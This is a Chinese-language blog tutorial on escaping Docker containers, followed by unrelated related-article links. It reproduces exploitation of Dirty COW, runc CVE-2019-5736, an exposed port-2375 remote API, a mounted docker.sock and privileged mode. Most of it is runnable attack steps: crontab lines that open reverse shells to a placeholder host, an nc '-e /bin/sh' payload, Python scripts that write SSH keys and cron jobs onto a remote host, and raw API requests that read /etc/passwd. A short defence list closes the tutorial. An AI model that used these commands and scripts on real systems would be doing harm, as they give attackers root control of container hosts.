目录

前言

Docker逃逸原因

docker环境判断

实验环境

环境搭建

内核漏洞

Dirty COW漏洞逃逸

容器服务缺陷

CVE-2019-5736漏洞逃逸

配置不当引发的docker逃逸

1、emote api 未授权访问

2、docker.sock挂载到容器内部

3、特权模式

防御docker逃逸

参考文章


前言

前不久看到几篇实战文章用到了docker逃逸技术,自己之前没接触过,整理复现下常用的Docker逃逸方法,可能存在认知错误的地方,希望各位大佬指出,感激不尽。

Docker是当今使用范围最广的开源容器技术之一,具有高效易用的优点。然而如果使用Docker时采取不当安全策略,则可能导致系统面临安全威胁。

Docker逃逸原因

目前的 Docker 逃逸的原因可以划分为三种:

由内核漏洞引起 ——Dirty COW(CVE-2016-5195)
由 Docker 软件设计引起——CVE-2019-5736、CVE-2019-14271
由配置不当引起——开启privileged(特权模式)+宿主机目录挂载(文件挂载)、功能(capabilities)机制、sock通信方式

docker环境判断

实战中首先需要判断服务器是否为docker环境。常用的判断方法有两种。
1、是否存在.dockerenv文件
docker环境下存在:ls -alh /.dockerenv 文件

非docker环境,没有.dockerenv文件

2、查询系统进程的cgroup信息
docker环境下 cat /proc/1/cgroup

非docker环境下cat /proc/1/cgroup

实验环境

宿主机:阿里云centos8
Docker版本:18.06.0-ce
镜像版本:centos7

环境搭建

centos下运行sh文件
https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw/

自动安装docker环境,运行centos和ubuntu镜像

查看容器

docker ps -a
docker ps -a -q # 查看哪些是停止状态的容器

启动容器

docker start 容器ID

进入容器

docker exec -ti 容器ID /bin/bash

内核漏洞

Dirty COW漏洞逃逸

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。
竞争条件意为任务执行顺序异常,可能导致应用崩溃或面临攻击者的代码执行威胁。利用该漏洞,攻击者可在其目标系统内提升权限,甚至获得root权限。VDSO就是Virtual Dynamic Shared Object(虚拟动态共享对象),即内核提供的虚拟.so。该.so文件位于内核而非磁盘,程序启动时,内核把包含某.so的内存页映射入其内存空间,对应程序就可作为普通.so使用其中的函数。
在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击,令系统崩溃并获得root权限的shell,且浏览容器之外主机上的文件。
docker和宿主机共享内核,搭建的阿里云环境不存在Dirty Cow漏洞,可以使用存在漏洞的宿主机搭建,也可以使用i春秋的靶机进行复现。https://www.ichunqiu.com/experiment/detail?id=100297&source=2

1、运行docker镜像

docker run --name=test -p 1234:1234 -itd dirtycow /bin/bash   //使用本地1234端口连接docker的1234端口运行dirtycow镜像,并将其临时命名为test

2、进入镜像内部操作

docker exec -it test /bin/bash 

3、运行漏洞exp
下载地址:https://github.com/scumjr/dirtycow-vdso

cd /dirtycow-vdso/    //进入dirtycow-vdso文件夹
make       //使用make命令编译.c文件
./0xdeadbeef     //运行0xdeadbeef 文件

显示successfully表示成功。

成功获取到宿主机的shell。

容器服务缺陷

CVE-2019-5736漏洞逃逸

1、漏洞原理:
Docker、containerd或者其他基于runc的容器在运行时存在安全漏洞,攻击者可以通过特定的容器镜像或者exec操作获取到宿主机runc执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。
2、影响版本:
平台或产品 受影响版本
Docker Version < 18.09.2
runC Version <= 1.0-rc6
3、漏洞复现
首先编译go脚本,生成攻击payload
https://github.com/Frichetten/CVE-2019-5736-PoC
修改脚本中的反弹地址为自己vps地址。

编译生成payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

将编译好的文件拷贝到docker容器中。

docker cp main 78e0d8daa906:/home
docker exec -it 78e0d8daa906 /bin/bash
cd /home/
chmod 777 main

运行main文件,使用nc监听反弹的端口,等待启动docker

nc接收到反弹的shell

由于容器服务缺陷导致的逃逸还包括Docker cp CVE-2019-14271和Docker build code execution CVE-2019-13139,利用起来都具有一定的限制条件,具体原理和利用可参考:
https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/
https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/

配置不当引发的docker逃逸

1、emote api 未授权访问

docker swarm是管理docker集群的工具。主从管理、默认通过2375端口通信。绑定了一个Docker Remote API的服务,可以通过HTTP、Python、调用API来操作Docker。
当使用官方推荐启动方式时

dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

在没有其他网络访问限制的主机上使用,则会在公网暴漏端口。

漏洞利用:
1、首先列出所有容器,得到id字段

http://x.x.x.x:2375/containers/json

2、然后创建一个 exec

POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true
}

使用burp模拟post请求发包,得到返回的id参数。

3、启动exec,成功执行了系统命令,读取到了passwd文件。

POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json{"Detach": false,"Tty": false
}

成功获取到docker主机的命令执行权限,但是还无法逃逸到宿主机。
尝试通过写计划任务或者写ssh密钥得到宿主机权限
1、在容器内安装Docker作为client(可能需要换国内源)

apt-get install docker.io

2、查看宿主机docker镜像信息

docker -H tcp://x.x.x.x:2375 images

3、启动一个容器并将宿主机根目录挂在到容器的nuoyan目录

docker -H tcp://x.x.x.x:2375 run -it -v /:/nuoyan adafef2e596e /bin/bash 

4、写计划任务反弹shell

echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/8877 0>&1' >> /nuoyan/var/spool/cron/root

5、成功获取到宿主机shell,逃逸成功。

还可以使用师傅们写好的python脚本
写ssh密钥

# coding:utf-8
import docker
import socks
import socket
import sys
import re#开启代理
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 1081)
#socks.set_default_proxy(socks.SOCKS5, '127.0.0.1', 1081)
socket.socket = socks.socksocketip = '172.16.145.165'
cli = docker.DockerClient(base_url='tcp://'+ip+':2375', version='auto')
#端口不一定为2375,指定version参数是因为本机和远程主机的API版本可能不同,指定为auto可以自己判断版本
image = cli.images.list()[0]#读取生成的公钥
f = open('id_rsa_2048.pub', 'r')
sshKey = f.read()
f.close()try:cli.containers.run(image=image.tags[0], command='sh -c "echo '+sshKey+' >> /usr/games/authorized_keys"', #这里卡了很久,这是正确有效的写法,在有重定向时直接写命令是无法正确执行的,记得加上sh -cvolumes={'/root/.ssh':{'bind': '/usr/games', 'mode': 'rw'}}, #找一个基本所有环境都有的目录name='test' #给容器命名,便于后面删除)
except docker.errors.ContainerError as e:print(e)#删除容器
try:container = cli.containers.get('test')container.remove()
except Expection as e:continue

写计划任务(by P牛)

import dockerclient = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

2、docker.sock挂载到容器内部

Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间通信方式有以下3种:

1、unix:///var/run/docker.sock
2、tcp://host:port
3、fd://socketfd

其中使用docker.sock进行通信为默认方式,当容器中进程需在生产过程中与Docker守护进程通信时,容器本身需要挂载/var/run/docker.sock文件。
本质上而言,能够访问docker socket 或连接HTTPS API的进程可以执行Docker服务能够运行的任意命令,以root权限运行的Docker服务通常可以访问整个主机系统。
因此,当容器访问docker socket时,我们可通过与docker daemon的通信对其进行恶意操纵完成逃逸。若容器A可以访问docker socket,我们便可在其内部安装client(docker),通过docker.sock与宿主机的server(docker daemon)进行交互,运行并切换至不安全的容器B,最终在容器B中控制宿主机。
利用过程:
1、首先运行一个挂载/var/run/的容器

docker run -it -v /var/run/:/host/var/run/ adafef2e596e /bin/bash

2、寻找下挂载的sock文件

find / -name docker.sock

3、在容器内安装Docker作为client(可能需要换国内源)

apt-get install docker.io

4、查看宿主机docker信息

docker -H unix:///host/var/run/docker.sock info

5、运行一个新容器并挂载宿主机根路径

docker -H unix:///host/var/run/docker.sock run -v /:/aa -it ubuntu:14.04 /bin/bash 

6、在新容器/nuoyan路径下完成对宿主机资源的访问

7、写入计划任务文件,反弹shell

echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/9988 0>&1' >> /nuoyan/var/spool/cron/root 

成功接收到宿主机反弹的shell

3、特权模式

特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。
利用过程:
1、首先以特权模式运行一个docker容器

docker run -it --privileged d27b9ffc5667 /bin/bash

2、查看磁盘文件

fdisk -l 

3、vda1存在于/dev目录下

4、新建一个目录,将/dev/vda1挂载至新建的目录

mkdir /nuoyan
mount /dev/vda1 /nuoyan

5、写入计划任务到宿主机

echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/2100 0>&1' >> /nuoyan/var/spool/cron/root

6、开启nc监听,成功接收到宿主机反弹的shell

防御docker逃逸

1、更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆盖CVE-2019-5736
2、runc版本 > 1.0-rc6
3、k8s 集群版本>1.12
4、Linux内核版本>=2.6.22——CVE-2016-5195(脏牛)
5、Linux内核版本>=4.14——CVE-2017–1000405(大脏牛),未找到docker逃逸利用过程,但存在逃逸风险
6、不建议以root权限运行Docker服务
7、不建议以privileged(特权模式)启动Docker
8、不建议将宿主机目录挂载至容器目录
9、不建议将容器以—cap-add=SYSADMIN启动,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,存在容器逃逸风险

参考文章

https://www.freebuf.com/company-information/205006.html
https://xz.aliyun.com/t/6167
https://compass.zhongan.io/blog/?p=111
https://cloud.tencent.com/developer/article/1512483
https://blog.csdn.net/lhh134/article/details/104107776
https://xz.aliyun.com/t/7881
https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw/
https://www.anquanke.com/post/id/193218
https://zhuanlan.zhihu.com/p/93104462
https://www.secpulse.com/archives/45905.html
https://compass.zhongan.io/blog/?p=111
https://blog.csdn.net/github_37216944/article/details/80535541

docker 逃逸 简介相关推荐

  1. docker 查看容器磁盘大小_软件安全 : Docker逃逸详解

    前言 在虚拟化技术日益成熟的今天,Docker作为必须使用的一项服务,它的安全性尤为重要.今天,我们来一起学习Docker最大的安全威胁--逃逸技术. Docker是什么 Docker 是一个开源的应 ...

  2. docker逃逸漏洞复现 cve-2019-5736

    0x01 概述 2019年2月11日,runC的维护团队报告了一个新发现的漏洞,该漏洞最初由Adam Iwaniuk和Borys Poplawski发现.该漏洞编号为CVE-2019-5736,漏洞影 ...

  3. Docker:Docker的简介、安装、使用方法之详细攻略

    Docker:Docker的简介.安装.使用方法之详细攻略 目录 Docker的简介 0.1.知乎对Docker的理解-Docker就是集装箱 0.2.简书对Docker的理解-Docker带来标准化 ...

  4. docker容器简介及安装

    docker容器简介及安装 一.docker的前世今生 早期 过度 目前 二.什么是docker 三.docker核心概念 1.镜像 2.容器 3.仓库 四.docker容器和虚拟机的区别 五.doc ...

  5. 偶然的一次渗透从弱口令->docker逃逸

    0x01 前言 前两天一直在学习Python造轮子,方便自己前期信息收集,测试脚本进行批量扫描的时候,无意中点开的一个带有edu域名,便有此文. 0x02 前期信息收集 Web整体架构: 操作系统:U ...

  6. Docker Compose 简介、安装、初步体验

    [Docker那些事]系列文章 docker 安装 与 卸载 centos Dockerfile 文件结构.docker镜像构建过程详细介绍 Dockerfile文件中CMD指令与ENTRYPOINT ...

  7. docker宿主机访问容器_干货来啦!带你初探Docker逃逸

    Docker是当今使用范围最广的开源容器技术之一,具有高效易用的优点.然而如果使用Docker时采取不当安全策略,则可能导致系统面临安全威胁. 本期安仔课堂,ISEC实验室的张老师将为大家介绍不同环境 ...

  8. docker 关闭所有容器_软件安全 : Docker逃逸详解

    前言 在虚拟化技术日益成熟的今天,Docker作为必须使用的一项服务,它的安全性尤为重要.今天,我们来一起学习Docker最大的安全威胁--逃逸技术. Docker是什么 Docker 是一个开源的应 ...

  9. 22岁精神小伙居然利用 Linux 内核漏洞实现 Docker 逃逸

    1 前言 Docker是时下使用范围最广的开源容器技术之一,具有高效易用等优点.由于设计的原因,Docker天生就带有强大的安全性,甚至比虚拟机都要更安全,但如此的Docker也会被人攻破,Docke ...

最新文章

  1. 简要分析电话光端机的常见问题
  2. 前端学习(1539):hello world
  3. x86 32位oracle,X86 32位和64位的区别
  4. 反向代理服务器的工作原理 (转)
  5. linux mysql5.7 实例初始化_mysql 5.7多实例单配置文件安装
  6. 自从在 IDEA 中用了热部署神器 JRebel,开发效率提升了 10 倍!
  7. [转]SecureCRT使用配置详细图文教程
  8. 步步高告诉你如何获客增长:4种数字化驱动案例
  9. 贪心算法(贪婪算法)
  10. 模板消息接口php代码demo,发送模板API例子
  11. 用SpringBoot整合ES数据库基础
  12. 判断图有无环_数读湾区经济潜能:基于大数据分析的环杭州湾大湾区“一体化”发展潜能!...
  13. java List取随机几个数据的方法实现
  14. 【历史上的今天】3 月 25 日:Ada 语言之父诞生;第一个维基站点问世;TechTV 被收购
  15. 追寻着最初的梦想,我们上路吧
  16. 极验滑块验证码破解与研究(二):缺口图片还原
  17. 轻松实现手机微信查看PLC数据,推送PLC故障
  18. R语言学习——矩阵相关函数
  19. symbian 模拟器 中文显示
  20. c++小游戏(附源码)(可转载)

热门文章

  1. junction.exe 放在哪_情侣拥抱的5种姿势,可以看出感情深浅,你们属于哪一种?...
  2. Git 本地仓库管理
  3. matlab-高数 find 找到集合中特定元素的位置
  4. WPF 4 Ribbon 开发 之 应用程序菜单(Application Menu)
  5. ETL工具框架开源软件
  6. cadence16.6 中orcad导出网表时ERROR (ORCAP-5004)(win7 旗舰版32位)
  7. window.open
  8. 网站***是如何用脚本欺骗网友的
  9. 软件测试工程师面试英语
  10. 红帽技术开放日:参与开源社区不只有贡献代码这一种方式